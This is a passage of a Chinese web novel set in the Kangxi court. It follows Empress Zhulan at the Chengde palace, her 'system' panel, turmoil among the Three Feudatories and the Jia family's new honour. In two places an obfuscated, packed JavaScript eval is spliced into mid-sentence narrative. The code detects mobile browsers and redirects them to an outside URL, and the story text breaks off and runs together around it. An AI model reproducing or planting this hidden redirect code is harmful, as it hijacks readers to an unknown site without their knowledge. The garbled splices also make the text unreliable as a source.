“珠兰!”老太太扬声唤道,语气里带着压不住的火气,“你瞧瞧你夫君写的这叫什么!他倒跟你诉起相思来了!” 珠兰正坐在窗边剥橘子,闻言慢悠悠地转过头,接过信扫了两眼,嘴角噙着点似有若无的笑,“皇上日理万机,还惦记着臣妾,是臣妾的福气。” “福气?”太皇太后被她这副不咸不淡的样子噎得够呛,“他这是没把哀家放在眼里!哀家拘着你侍疾,他不来求情也就罢了,反倒跟你腻歪起来,是故意气哀家吗?”大家都是聪明人,互相给个台阶不好吗。老太太要玩儿高端宫斗,不想看你们的低配情书,连个押韵都没有!难看! 珠兰剥好一瓣橘子,递到老太太嘴边,声音软和,“老祖宗息怒。皇上是心疼臣妾,才多说了几句体己话。您看这信里,不也提了让科尔沁的奶糖多运些到京城吗?” 太皇太后偏过头不吃,奶糖暴利,居然不是后旗独揽,老太太就为了这事儿不高兴,这对夫妻心里明镜一般,就是不肯配合。她眼睛盯着珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208575|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰:“你就不觉得委屈?哀家日日让你侍疾,连你们夫妻通信都要过目,换了旁人,早哭着求皇上救命了!” 珠兰揽着祖母的胳膊,撒娇,说自己就喜欢和皇祖母待在一起,说的十分真心。 太皇太后颇为无奈,即便知道她是装的,也没法真的把家族势力强大的皇后怎么着了。而且,皇后说话怎么听着像真的呢,她真喜欢与哀家这老太太待着?琪琪格有时候都不爱在这里陪着,珠兰会喜欢? 按照一般套路,只要把珠兰磋磨得狠些,她定会在信里向皇帝诉苦,到时候皇帝心疼媳妇,自然要向她服软,答应让端敏嫁去科尔沁,答应让科尔沁垄断商路。 皇帝对皇后的情谊,她看的清楚,即便有些理智在,但也是很上头的。 可珠兰偏不,她与当年的董鄂氏一点都不一样。 她不求饶,不怨恨,也不焦虑,每日就笑着来,笑着走。 伺候汤药,手脚麻利;让她念佛经,她就一句句念得清清楚楚;晚上夜夜写回信,白天居然精神头还不错。 更气人的是,这女子仿佛有使不完的力气,早上陪用早膳,能吃两大块奶黄糕;中午歇午觉,睡得比谁都沉;傍晚还能就着烛火的光,把信写好。 “臣妾有什么可委屈的?”珠兰把橘子瓣放进自己嘴里,清甜的汁水漫开来,“老祖宗身子不适,臣妾侍奉是应当的。皇上信里惦记着咱们呢,这日子挺好的。” 她这话是真心的,太皇太后盯着她写信又如何?反正吉雅代笔时,早把该说的正事夹在相思话里了——“皇上送的那匹云锦,臣妾给老祖宗做了件坎肩,科尔沁的绣娘手艺真好”,实则是说科尔沁的工坊已能承接精细绣活;“离宫的炭火够烧到开春,都是内务府按规矩送来的”,暗指离宫的事没有脱离掌控。 康熙何等精明,一看就懂。所以他的回信才故意写得情意绵绵,既是给太皇太后看的“障眼法”,也是在跟珠兰说悄悄话——“你的意思,朕懂了”。 太后来看望时,见珠兰正就着鸡汤啃鸡腿,吃得满嘴流油,不由得叹气:“你呀,心也太大了。老太太那样盯着,你倒吃得下睡得着。”这样好,这样活得长。 珠兰咽下嘴里的肉,笑着给太后盛了碗汤,“您尝尝,这是内务府新送来的乌鸡,炖得烂乎。”心理战就是这样,打的是信息差,可在珠兰这里,没有信息差。 太后看着她眼里的清亮,这是神经粗大,也是心里有数。 太皇太后想让她向皇帝求救,从而拿捏住皇帝,可她偏不接招;皇帝呢,也配合得极好,只管跟媳妇谈情说爱,把太皇太后的算计当成了背景板。 暖阁里,太皇太后还在对着皇帝的信气结。 这招“釜底抽薪”对付福临足矣,能皇帝服软。 没料到到了孙子辈,一个熬得住,一个拎得清,倒显得她像个跳梁小丑,急吼吼地想掺和人家夫妻的事。 “哼,这对小的!”老太太重重哼了一声,却没再发作。 炭火明明灭灭,映着她脸上的皱纹,竟有了几分无力——她想让珠兰难受,想让皇帝服软,可这两人,一个吃得香睡得好,一个只管写情书,仿佛她这个太皇太后,真的不存在似的。 有些宫斗模式啊,该更新了。 80. 世界意志 承德离宫的雪连下了三日,太后捏着内务府送来的账本,眼皮重得像坠了铅,看了半晌也没算出这个月的炭火钱为何比上月多了三成。 “珠兰,你说……咱们什么时候回去?”她忽然抬头问珠兰,声音里带着浓浓的疲惫。这些日子,太皇太后揪着珠兰侍疾,一会儿让念佛经,一会儿让研墨,偏对离宫的庶务撒手不管,全推给了她这个向来不管事的太后。她是真想回紫禁城了,回自己的寿康宫去。 珠兰正给她续茶,闻言笑了笑:“您放宽心,老祖宗许是身子乏了,想多歇几日,迟一些再回。”她看数据就行,从不乱猜别人的心思,内耗可不是好习惯。 “歇几日?”太后把账本往案上一推,左也不是右也不是的那么难受,眼圈泛红,“我夜里总梦见账本上的数字长腿跑了……” 她是真看不懂了,太皇太后对珠兰的磋磨是精神上的攻击,是对待聪明人的好招数,真累垮过一名宠妃的。可磋磨来磋磨去,珠兰该吃吃该睡睡,反倒是她这个旁观者,日日替珠兰捏着汗,对着太皇太后的心思犯愁,还得硬着头皮管那些从没碰过的庶务,感觉受到了暴击。 这日晨起,太后刚梳好头,就觉得天旋地转,眼前一黑栽倒在妆奁前。等太医赶来时,她已经烧得糊涂,嘴里胡乱念着“别问我”“不知道”。 太皇太后闻讯赶来,见琪琪格躺在床上,脸色烧得通红,嘴唇干裂,不由得愣在当场。 她想磋磨的是珠兰,想逼的是皇帝,怎么倒把这个最单纯的儿媳妇给拖垮了? “太医,她这是怎么了?”太皇太后的声音有些发紧。 太医跪在地上,战战兢兢地回:“回太皇太后,太后娘娘是忧思过甚,心火郁结,加上连日劳累,才……才病得这般急。” 太皇太后看着琪琪格烧得皱起的眉头,心里忽然不是滋味。这媳妇向来胆小,从不掺和她们祖孙的事,这次若不是被赶鸭子上架,何至于病成这样? “罢了,罢了。”太皇太后叹了口气,转身对珠兰道,“白日里去照顾你额娘吧。她这病,得有人好好伺候着。傍晚,再到我这儿来一起念佛。” 珠兰应声“是”,眼底闪过一丝不易察觉的可惜。她知道,太皇太后这是借坡下驴了。太后的病,成了这场无声较量里的休止符——老太太总不能在儿媳病危时,还死死揪着儿媳的儿媳不放。 太皇太后立在廊下,看了看漫天飞雪,她想拿捏的人没拿捏住,不想牵连的人反倒病倒了,这场算计,终究是落了空。 “去,把科尔沁送来的人参取两支,给太后送去。”太皇太后对嬷嬷吩咐道,语气里带着几分疲惫,“告诉底下人,离宫的事……先让皇后看着办吧。”她的身体确实还不爽利,也懒得管琐事。 风雪还在飘,暖阁里的炭火烧得旺了些。 她不知道自己这场病,竟成了让所有人都松口气的契机,更不知道,那个她一直担心的珠兰,此刻正坐在她床边,一边替她掖被角,一边盘算着如何借着念佛的机会,在太皇太后宫中多耽误些时候,才能把观察点刷满。 侍疾这种事,有宫女忙活,她不用动手,也基本不动脑,就在这里发呆就行。 所以,她闲着就看系统。 看系统,就看出点事儿来。 珠兰坐在灯下,指尖划过系统面板上的淡蓝色数据流,眉头微蹙。 一直以来,她都认为,规避无意义损耗,契合世界基理。抬着世界进程往前走的过程中,少死人,是一种能够快速获得能量结晶,并减少世界压制的方式。 所以,她本能的不愿意在中原起大战。 可往上翻看,端敏追杀准噶尔的记录却截然不同。那三个月里,准噶尔部战死、溃散者逾五千,漠南联军亦折损近五千,系统里只简单记着“冲突事件:准噶尔西迁”,旁注是“秩序重构中,阶段性损耗允许”。 难怪,本来她是做好了被反噬的准备的,无非是身体上的一些不便,类似属性点到90后会出现饿一些后遗症,没什么大不了的。结果是,到今日为止,竟连一丝世界意志的压制波动都没有。 更有甚者,东瀛弹丸之地,在索额图与明珠的操纵下,藩镇与幕府交战,死者过万,竟然也没有世界意志的压制反馈到她这里。系统里同样只是记载了这一冲突事件,轻描淡写,仿佛被世界认定为支线剧情一般,不值一提。 可是,她是能够清楚的感觉到世界意志对人口损耗的关注的。也是因此,三藩之地的近水村落快被翻云会搬空了。 莫非,对于世界意志而言,中原之地有所不同? “无意义损耗……阶段性损耗……”珠兰低声重复着这两个词,想着其他可能。如果不是中原之地有所不同,那么是秩序? 之前,一旦她想做些什么突破底线的大事,“过度干预可能引发连锁伤亡”的红色警示就会出现在系统中——那是世界意志在提醒她,为了速胜而牵连无辜,属于“无意义损耗”。后来她改用商路迁民、分化瓦解的法子,虽慢却稳妥。 可端敏的追杀,索额图的谋划,明明东瀛与草原皆血流成河,为何截然不同? 珠兰点开系统对“准噶尔部”的注解:“长期以劫掠为生,破坏草原秩序,导致漠南、漠北人口持续流失(年均损耗约两万),资源掠夺引发区域性生态失衡。” 再看端敏行动的标注:“针对性打击破坏源,推动区域秩序重置,短期冲突损耗低于长期无序损耗。” 系统对东瀛的注解,也是差不多的意思。 珠兰靠向椅背,指尖轻叩桌面。她一直以为世界意志只盯着“伤亡数量”,却忽略了“伤亡性质”。 这样看来需要避免的,是因个人决策失误、过度干预引发的“无意义损耗”。 举个例子,端敏追杀准噶尔,本质是在清除“持续制造损耗的源头”。 准噶尔每年劫掠漠南各部,杀掠牧民、焚毁草场,长期下来造成的人口、资源损耗,远比一场追杀战更甚。 世界意志允许这种“阶段性损耗”,因为从长远看,这是在止损——就像剜掉腐肉,虽痛却能保住整个人。 从系统记录看,端敏的行动始终聚焦于准噶尔主力,几乎没有牵连牧民。甚至有几条小字备注:“端敏部严禁劫掠漠南牧民,违者立斩”“战后收拢准噶尔溃散部众(约八千老弱),移交漠南各部安置”——这分明是在减少“无意义损耗”,让冲突始终限定在“秩序重构”的框架内。 端敏的行动,是在终结“持续制造混乱的根源”,哪怕流血,也是重建秩序的必要代价。 就像治理洪水,堵不如疏,可若遇到执意撞毁堤坝的顽石,敲碎它,反而是在保护更多土地不被淹没。 “世界意志在意的,是伤亡是否必要?又或者是有序对无序的冲击?”珠兰合上系统面板,一切仍旧需要试验。这关系到,将来的她可以走到哪一步。 窗外的雪光映进灯影里,世界意志比她想的更精细——它不反对冲突,只反对无意义的内耗;不苛责伤亡,只苛责因愚蠢或贪婪造成的、本可避免的损失。 她之前小心翼翼压制自己,不想再一次成为“制造混乱的源头”,导致本世界也走向毁灭。 而端敏挥刀,却是在“清除制造混乱的源头”。 这大概,就是系统反馈截然不同的缘由。世界排斥的不是战争,而是杀戮? 这么看来,一直以来倒是我钻了牛角尖,珠兰轻舒一口气,将系统面板收起。 灯下的账册还摊着,上面记着江南新到的粮种数量——那是给南迁百姓备的春耕物资。 寿春的路,是守护存续;端敏的路,是重建秩序。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213972|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>看似不同,都暗合了这世界最根本的理。 所以,世界意志是这个意思吗? 果然,我不懂你啊。 暮色漫进太皇太后的佛堂时,檀香正绕着鎏金佛龛袅袅升起。 老太太刚捻完一串佛珠,睁眼就见珠兰捧着盏刚沏好的雨前龙井,轻手轻脚地站在门口,青色素裙映着窗外的雪光,倒比佛前的琉璃灯还清净几分。 “你来了。”太皇太后语气淡淡,指尖却不自觉地放缓了捻珠的速度。 她原以为,珠兰刚得了由头去伺候太后,定会借着这个引子躲清闲,至少三五日不会踏足她这佛堂——毕竟这些日子,她明里暗里的举动,连琪琪格都看不过眼了,焦虑到把自己逼的病了。 皇后这孩子,合眼缘,性子也好,行事挑不出错。就是这样,她才对她总也难以彻底亲近起来,即便她知道她的好有多么难得。 珠兰将茶盏放在佛案旁的小几上,声音温软:“太后刚歇下,臣妾想着老祖宗这时候该念佛乏了,沏了点新茶来。”她没提太后的病,也没说自己侍疾的辛苦,只像往常那样,拿起案上的木鱼,轻轻敲了起来。 笃、笃、笃—— 木鱼声在佛堂里荡开,混着檀香,竟奇异地抚平了太皇太后心头的褶皱。她望着珠兰垂眸敲鱼的侧脸,忽然想起这孩子刚入宫时的模样,那时也是这样,不争不抢,却总能把事情熨帖得让人心安。她是喜欢这丫头的,但是抵不过利益相争。 “太后的病,怎么样了?”太皇太后终于开口,语气里少了几分先前的锐利。 “太医说,得静养些日子,不能再劳神。”珠兰停了木鱼,抬头时眼里带着真切的担忧,“臣妾已让内务府把离宫的账册都收了,琐碎事暂由几个副总管打理,每日只拣要紧的回禀太后,让她能安心养病。” 太皇太后没接话,心里却透亮。珠兰这是在告诉她:离宫的庶务她暂时接了,但不会借着这个机会揽权,分寸拿捏得恰到好处。 聪明人与聪明人对话,简洁高效。 佛堂里又安静下来,只有香炉里的灰簌簌落在炭灰里。 太皇太后在这安稳的木鱼声里,断断续续的审视着年轻的孙媳妇。珠兰啊,实在让人挑不出错来。 苏麻喇姑隐身一般的站着,看着眼前这一幕。若是太后在这里,光是太皇太后故意的打量,都能让她坐立不安。后宫中,能承受住这种无形压力的,也就只有不知大脑构造到底如何奇特的皇后了。 琪琪格病了,珠兰没趁机撂挑子,反倒把两边都顾得妥妥帖帖,这份沉稳,连太皇太后自己都不得不佩服。 虽然是受了累,她的孝名,定然也彰显了。 “你啊……”太皇太后叹了口气,说不清是赞许还是无奈,“倒是比哀家想的,更沉得住气。”不能说是沉得住气,不如说是底气太足了。 珠兰微微一笑,重新敲起木鱼:“老祖宗教的好,您常说,遇事慌不得,急不得,稳住了,就什么都过得去。” 暮色渐浓,佛前的长明灯跳了跳,将两人的影子投在墙上,苏麻喇姑看着这一老一少,一坐一站,倒显出几分难得的平和。 太皇太后捻着佛珠,听着规律的木鱼声,这佛堂里多个人陪着,要暖些。 她原以为珠兰即便通透到不会记恨自己这老太太的所作所为,至少会躲开,却没料到她竟主动送上门来,还像从前那样,不多言,不多语,却把该做的都做了。 这份心性,难怪皇上会那般信重。 “茶凉了,再沏盏来吧。”太皇太后轻声道。 珠兰应了声“是”,转身去沏茶时,嘴角悄悄扬起一抹浅淡的弧度。 佛堂里的檀香依旧,只是那层紧绷的对峙,在这傍晚的木鱼声里,终于悄然松了弦。 皇家么,哪里有隔夜的仇呢。 81. 意外频出 承德离宫的腊梅开得正盛,黄灿灿的花骨朵顶着雪,在红墙根下堆出簇簇暖意。 太皇太后的旨意已传遍各宫:“今年就在承德守岁,不必回銮。”这话里的执拗,像殿角那尊鎏金铜鹤,任谁劝都纹丝不动。 佟国纲与冯唐认命的给家里写信,今年出差时间有点长。 贾赦瞅着妹妹嘿嘿笑,这家书他实在不敢动笔,还请妹妹来吧。 内务府的人忙着往廊下挂宫灯,红绸子在北风里扑腾,倒比宫里多了几分野趣,只是那份热闹里,总透着点“非寻常”的意味。 京城的乾清宫里,康熙把奏折摔在御案上,龙袍的下摆扫过金砖地,带起一阵风。“承德离京不过几百里,朕乘快马,一日夜就能到!”他盯着跪在地上的大学士们,眼里的焦灼快溢出来,“你们拦什么?” 为首的老臣叩首更深:“陛下,三藩未平,京畿安危系于陛下一身!太皇太后在承德安好,有皇后侍奉,陛下何必亲往?若中途有失,臣等万死难辞其咎!”这话像块石头,堵得康熙半晌说不出话。 他何尝不知轻重,只是一想到珠兰在承德,太皇太后病中的脾气又难测,心里就像有猫爪在挠,恨不能插翅飞过去。 云南的平西王府里,年味却早被火药味冲散了。 正厅里,吴三桂的夫人穿着石青诰命服,端坐在太师椅上,手里的佛珠转得飞快;对面安坐的建宁公主一身素服,怀里抱着吴应熊的幼子,身后立着两个佩刀侍女,银甲在烛火下泛着冷光。 “公主带着外男(指亲兵)住在内院,不合规矩吧?”吴夫人的声音像淬了冰。 建宁公主冷笑一声,低头逗了逗怀里的孩子:“规矩?平西王抗旨不遵的时候,怎么不提规矩?我带着儿子守着王府,等着他回来领罪,这才是规矩。” 两人你来我往,话里都藏着刀子。 吴夫人说吴三桂“在前线督战,不日便归”,建宁公主就说“正好,我让亲兵去迎迎他,省得被乱兵伤了”;吴夫人想收编建宁带来的两千骑兵,建宁就把兵符拍在桌上:“这是皇上亲赐的,你要?去跟皇上要去。” 王府外的风言风语传得沸沸扬扬,说建宁公主是来“监国”的,又说吴夫人在偷偷调兵。 更热闹的是另外两藩。 靖南王府里,先是耿精忠骑马摔断了腿,没等太医赶到,世子跟着去看,也从马背上栽了下来,脑袋磕在石头上,至今昏迷不醒。 王府里的军头们顿时分成两派,一派想拥立年幼的二公子,一派说要等世子醒来,明里暗里都在抢权,连年礼都没人备。 平南王府更绝,小年那天放烟花,不知哪个不长眼的把烟花筒插进了茅厕,引线一点,“轰隆”一声,粪水溅了半条街,连前来送礼的知府和送他出门的尚可喜都被浇了一身。 尚可喜捂着鼻子骂了半天,转头就听说,负责烟花的兵丁是前几日刚从吴三桂那边逃过来的——这节骨眼上,谁都不敢说这是“意外”。 更稀奇的是,过了一天,尚可喜就病倒了,貌似是疫病,好像还把世子尚之信也传染了。 可这些消息传到京城,都被轻飘飘地压了下去——“假的,定是三藩散布的谣言,想搅乱人心。”兵部的折子上这么写,康熙看着,只在末尾批了个“知道了”。 腊月二十八那天,承德离宫的宫灯全亮了,红得晃眼。 太皇太后看着号称是皇后亲手包的饺子,忽然叹了口气:“京城那边,怕是也吃不上安生饺子。” 珠兰笑着往她碟子里夹了个元宝形的饺子:“老祖宗放心,皇上心里有数。”这个是吉雅包的,可好吃呢。 窗外的雪又下了起来,落在宫灯上,簌簌地响。 谁都知道,这个年过得再热闹,也掩不住那些暗流——云南的对峙,福建的混乱,广东的闹剧,还有京城,都在等着开春后,有个了断。 只是此刻,饺子在锅里翻滚,宫灯在风里摇晃,倒也能寻着片刻的安稳。 京城荣国公府上,却不大安稳。 腊梅开得正艳,内堂里史夫人捏着帕子,偏偏不去看腊梅,非要望着窗外光秃秃的石榴树,心里还在念叨:“这赦儿,送信的鸽子怕是在半道上被鹰叼了去,年关都要过了,竟连个信儿都没有。” 长子从军,没有消息也算好消息,而且她也没地方去催他的书信。毕竟老亲佟家那边愿意带着自己这纨绔长子去草原,已经是看在几代人的面子上了。她实在拉不下脸,去那边再请托人家带一封信。 她原是打得好算盘,把女儿贾敏送进宫给端敏格格做伴读,一来沾沾皇家的光,二来让女儿学些规矩,将来不管是配个勋贵子弟,还是指给哪家清贵人家,都比在家中亲戚里寻摸强。哪曾想,这伴读,竟读出了天大的动静。 这天午后,府里的丫鬟正忙着扫雪,忽然听见大门外一阵喧哗,接着就见管家连滚带爬地跑进来,声音都变了调:“老夫人!宫里的公公来了!传、传圣旨!” 史夫人吓得手一抖,帕子掉在地上。 她慌忙让人取来品级大衣裳换上,梳理鬓发上大妆,心跳得像揣了只兔子。 应该是好事,应该是好事······ 正厅里,传旨太监穿着石青蟒袍,脸板得像块冰,展开明黄的圣旨,尖着嗓子念起来。 开头几句是“奉天承运皇帝,诏曰”,史夫人还能勉强镇定,可听到“贾氏女敏,随固伦靖宁公主出征漠北,机敏果敢,屡献良策,特封……”时,她脑子里“嗡”的一声,后面的话竟一个字也没听清。 直到太监念完,笑眯眯地说:“史老夫人,恭喜啊!您家姑娘可是得了宗室女才有的封诰,这可是独一份的荣耀!皇上还夸您教女有方呢!” 史夫人才如梦初醒,连忙让人捧出早就备好的银子塞给太监,嘴里喏喏地应着“不敢当”,心里却翻江倒海——女儿随军出征了?还立了功?竟然不是长子贾赦立功,怎么会是娇滴滴的女儿? 敏儿随军,她怎么半点消息都不知道!送走太监,史夫人才后知后觉地后怕,腿一软坐在椅子上。 刚才若不是太监点明了女儿的功劳,也暗示了女儿是全须全尾的,她怕是要当着宫里人的面晕过去,那可就真出丑了! “贾赦这个杀千刀的!”史夫人终于忍不住拍着桌子骂起来,“自己的妹妹跟着公主去了草原,出生入死的,他竟连封信都不捎回来!若不是宫里来传旨,我还当敏丫头是在离宫里描花绣朵呢!”潜意识里,她晓得贾敏这个女儿不是自己能骂的了,毕竟有了宗室封诰在身,便是君臣有别。 旁边的赖嬷嬷连忙劝:“老夫人息怒,大爷许是军务繁忙,忘了……” “忙?他能忙什么!”史夫人气不打一处来,眼泪都跟着冒出来,“我早就说过,不是自己奶大的就是不贴心!你看他二弟政儿,虽说闷了些,可家里有个风吹草动都记得回禀。他倒好,妹妹成了县主,他老娘差点在太监面前露怯,他倒像没事人一样!” 正骂着,就见丫鬟捧着刚收到的信进来:“老夫人,有信到了!” 史夫人一把抢过,拆开一看,气得差点把信纸撕了。信里通篇说的都是在边关如何巡查,如何驯马,写他做了个小军官! “好,好得很!”史夫人把信摔在桌上,胸口起伏着,“等他回来,看我怎么问他!敏丫头在草原上拿刀动枪的时候,他这个做大哥的,怕是正对着月亮喝酒呢!” 等会儿,这信,这字迹,是敏儿写的······ 她也不怒了,也不烦躁了,想起女儿,忘掉惹人厌的大儿子,史夫人心里泛起丝丝甜意。 赖嬷嬷看着主子她走到内室,也不知道老夫人是怎么了。 史夫人仔细又看了一遍信,闭着眼睛在屋里连声高呼祖宗保佑,随后又小心翼翼地把那道圣旨捧出来,对着光看了又看。 县主啊,这可是比诰命夫人还金贵的身份。将来敏丫头的婚事,怕是又能走高一筹了。只是,却怕由不得自己家做主啊,毕竟君臣有别,她的身份等同是宗室格格了······ 只是想起女儿跟着端敏公主在草原上“屡献良策”,史夫人又忍不住心疼,眼眶一热:“这丫头,竟瞒着我,做了这么大,这么大的事……”想起道人说过,全家的荣耀都在女子身上,莫非正是应在我的女儿身上? 窗外的雪还在下,荣国府的门楣上,不知何时已悄悄添了几分旁人没有的喜气。 史夫人摩挲着圣旨上“教女有方”四个字,心里又气又傲——气贾赦的糊涂,傲女儿的争气。 贾赦虽然也立功做了军中官,可在贾敏的功绩面前,实在不够看,史夫人都顾不上看他是做了个什么芝麻绿豆官。 今年,怕是府中要过得比往年热闹多了。金陵那边,要回去祭祖。老亲之中,又好走动了。 自打丈夫去世,家中江河日下,史夫人守孝之后也是关门闭户过日子,一心想着能把家族延续下去就行。 老亲中在京的金陵四家,还算和睦,其余人家她都没脸上门去做客,毕竟自家入了汉军旗,爵位还降到了不入流。 今年却不同了,女儿跟着固伦公主在草原上立下大功,封了格格啊! 史夫人正想着后头如何,门房娘子来报,说那老亲甄家递了帖子。 她一听,心中一凛,这个年关啊,怕是不好过了。 康熙八年的除夕,紫禁城的红墙被暮色浸得发暗,连角楼的宫灯都透着几分懒意。 往年这时候,太皇太后会在慈宁宫接受朝贺,太后领着后宫嫔妃排班行礼,珠兰作为皇后,总要忙到深夜才能歇下。 可今年,三巨头都在承德,宫里的规矩便像松了的弦,骤然松弛下来。 前殿的钟声敲过七下,乾清宫的烛火还亮着,康熙正对着三藩的舆图出神,案上的年夜饭早就凉透了。 梁九功几次想提醒“该进晚膳了”,都被皇帝挥手撵了回去——平西王的生死疑云、靖南王父子落马的疑云、平南王府那场荒唐的“粪坑烟花”,像三根刺扎在他心头,哪还有心思顾及后宫的宴席。 他是个聪明人,当然不会觉得这一切都是意外能说的清的,可是俩三藩自己都抓不出幕后黑手,齐齐把帽子扣在了朕的粘杆处身上。 粘杆处有没有这个本事,朕难道不知? 这些乱七八糟的事,大量消耗了皇帝的精力,让他年纪轻轻就生了疲惫之感。 观星台的角楼里,却透着别样的亮堂。 贵妃钮钴禄萨琳披着件石青镶银边的斗篷,手里捧着本泛黄的羊皮卷,那是从西洋带来的《自然哲学的数学原理》。 窗外是漫天飞雪,她却只顾着对着望远镜里的猎户座喃喃自语:“牛爵士说恒星不动,可这颗参宿四,明明比上月亮了些……” 侍女端来的饺子在炉上温着,她连眼皮都没抬。 自从迷上这些“宇宙的奥秘”,后宫的争风吃醋、请安问好,在她眼里都成了“围着灶台打转的琐事”。 皇帝没来后宫,她不在意;旁人忙着装扮,她只觉得“不如星轨好看”。 望远镜的镜片映着她眼里的光,比任何珠翠都要亮。 荣贵人马佳诺敏的住处,倒有几分暖意。 她正和赫舍里家的二小姐塔娜围坐在炭炉边,用银签子烤着栗子。 塔娜因种种原因,被暂留宫中,一下就留好几年。还在她性子活泛,并不因此郁郁,与诺敏竟处成了闺中密友。 “你看我绣的这个荷包,像不像观星台的样子?”诺敏举起个青缎荷包,上面用银线绣着几颗星子。 塔娜笑得直拍手:“像!就是这北斗七星绣成了勺子,倒像姐姐烤栗子的小银勺。” 两人嬉笑着抢栗子吃,把宫规抛到了脑后。 诺敏本就性子恬淡,不去凑玉宁那边争宠的热闹,如今有塔娜作伴,更是乐得自在。 皇帝来不来后宫,她随缘;旁人得不得宠,她不妒。只是,有些念着皇后娘娘了。 炭炉上的栗子“啪”地裂开,香气漫开来,比御膳房的宴席还让人舒心。 唯有惠贵人玉宁,还守着几分“本分”。 她穿着身石榴红的宫装,鬓边簪着赤金点翠的凤凰步摇,在殿里来来回回地踱着。 桌上摆着她亲手做的桂花糕,是皇帝从前爱吃的,可从黄昏等到深夜,连个太监的影子都没等来。 “皇上···”她对着铜镜理了理鬓发,步摇上的珠子叮当作响,“难道还在为三藩的事烦心?” 侍女劝她:“贵人,夜深了,不如先歇息吧。” 玉宁却摇摇头,固执地坐在灯下:“再等等,今日是除夕。”她想起刚入宫时,皇帝曾经夸她“手巧,做的糕比御膳茶房的合口”,心里就泛起点希冀。 可烛火燃了一截又一截,桂花糕渐渐凉了,殿外始终静悄悄的。 午夜的钟声敲响时,观星台的萨琳终于放下望远镜,在星图上画下一个新的标记;诺敏和塔娜已经歪在榻上睡熟,炭炉边散落着栗子壳;玉宁吹熄了最后一盏灯,望着窗外的雪,轻轻叹了口气。 景阳宫的梅花开得正好,一枝斜斜探过朱红宫墙,花瓣上的雪被风吹落,溅在阶前的青石板上,洇出点点湿痕。 甄应仙披着件月白披风,手里捏着本《南华经》,正坐在廊下的美人靠上看得入神。 她是这年新选入宫的秀女,因容貌昳丽,刚入宫时便 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她读《史记》,看楚汉相争,觉得淮阴侯的用兵比太监的嚼舌根更过瘾;读《齐民要术》,学如何改良农具,居然莫名想着若有朝一日能出宫,或许能教乡农种出更好的庄稼;读佛经,不是为了求福报,只是喜欢“应无所住而生其心”这句话,觉得像极了此刻的自己。 家里来信数落她,甄应仙依旧日日看书、练字、侍弄窗前的梅树。 景阳宫的宫墙虽偏,却挡不住月光,挡不住书香,更挡不住她心里的那份自在。 除夕夜的钟声敲响时,甄应仙刚好写完最后一个字。她放下笔,望着纸上的“死生亦大矣”,忽然笑了。 这宫里的恩宠,像檐角的冰凌,看着晶莹,太阳一出就化了;可书里的道理,却像这梅树的根,扎在土里,岁岁年年都能开出花来。 远处传来隐约的爆竹声,是别处的热闹。 甄应仙起身,推开窗,让雪夜的清冷空气涌进来。景阳宫的梅香混着墨香,在风里漫开。 在这深宫之中,能守着一方书桌,读遍天下书,已是难得的福气。 至于那些争宠的伎俩,那些富贵的虚名,便让旁人去抢吧——她甄应仙,要的从来不是这些。 这个年关,家里该是不好过的,可那与她这个进了宫的女子又有几分关系呢。 烛火在风里轻轻摇晃,照亮了案上摊开的《南华经》,也照亮了一个深宫女子,一身的清傲。 紫禁城的除夕,没有往年的繁文缛节,没有三巨头的坐镇,倒像一面镜子,照出后宫女子的百样心。 有人醉心星辰,有人安于平淡,有人执着于恩宠,而那最该被惦记的皇帝,还在乾清宫的烛火下,对着舆图,熬过了又一个不眠之夜。 雪落在琉璃瓦上,悄无声息。 这一夜,后宫的热闹与冷清,都藏在了风雪里,等不到那个能定夺一切的人来看。 承德离宫 雪下得绵密,却盖不住各处宫苑里的热闹。 太皇太后的暖阁外,红灯笼从廊下一直挂到月亮门边,雪光映着烛火,把朱红柱子染得像裹了层蜜糖。 珠兰穿着件福禄暗纹的青色常服,正指挥着太监们往殿里搬炭盆。 “太后那边多备两个银霜炭,仔细别让穿堂风吹着。”她又嘱咐宫女,“雅图公主和阿图公主的席位挨着太皇太后,她们姐妹俩许久没见,得让老祖宗看着舒心。” 正说着,殿外传来一阵爽朗的笑声,端敏披着件玄狐大氅闯了进来,银甲上的寒气还没散,手里却捧着个雪团:“看我带谁回来了!” 她身后跟着阿日娜苏,草原上的风雪把她的脸颊冻得通红,身上那件镶金边的蒙古袍沾着雪粒,见了珠兰,难得露出点真心笑意:“皇后娘娘,账册我带来了。” “先不说账册。”珠兰笑着拍掉她们肩头的雪,“快进去给老祖宗请安,她盼着你们呢。” 暖阁里,太皇太后正靠在铺着貂褥的榻上,雅图和阿图两位公主一左一右陪着说话。 雅图守寡,眉宇间带着几分沉郁,阿图却还是活泼性子,正给老太太剥橘子:“额娘您瞧,沾您的光,这橘子是南边送来的,比去年的甜。” 见端敏和阿日娜苏进来,太皇太后眼睛一亮,挣扎着坐直了些:“可算回来了!端敏的甲胄还没换?阿日娜苏的袍子沾了雪,快让丫头们拿去烘烘。” 雅图起身拉过端敏的手,指尖触到她甲胄上的磨损痕迹,眼圈红了:“听说你一直在外头忙,怎么瘦了这么多。” 端敏咧嘴一笑,露出点少年气:“姑母放心,回来时还猎了只白狐,给您做围脖正好。” 阿图早凑到阿日娜苏身边,小声问:“我听底下人说,你把科尔沁的王爷们治得服服帖帖的。” 阿日娜苏被她逗笑了,从袖袋里摸出块糖递给她:“您快尝尝,这奶糖可甜。” 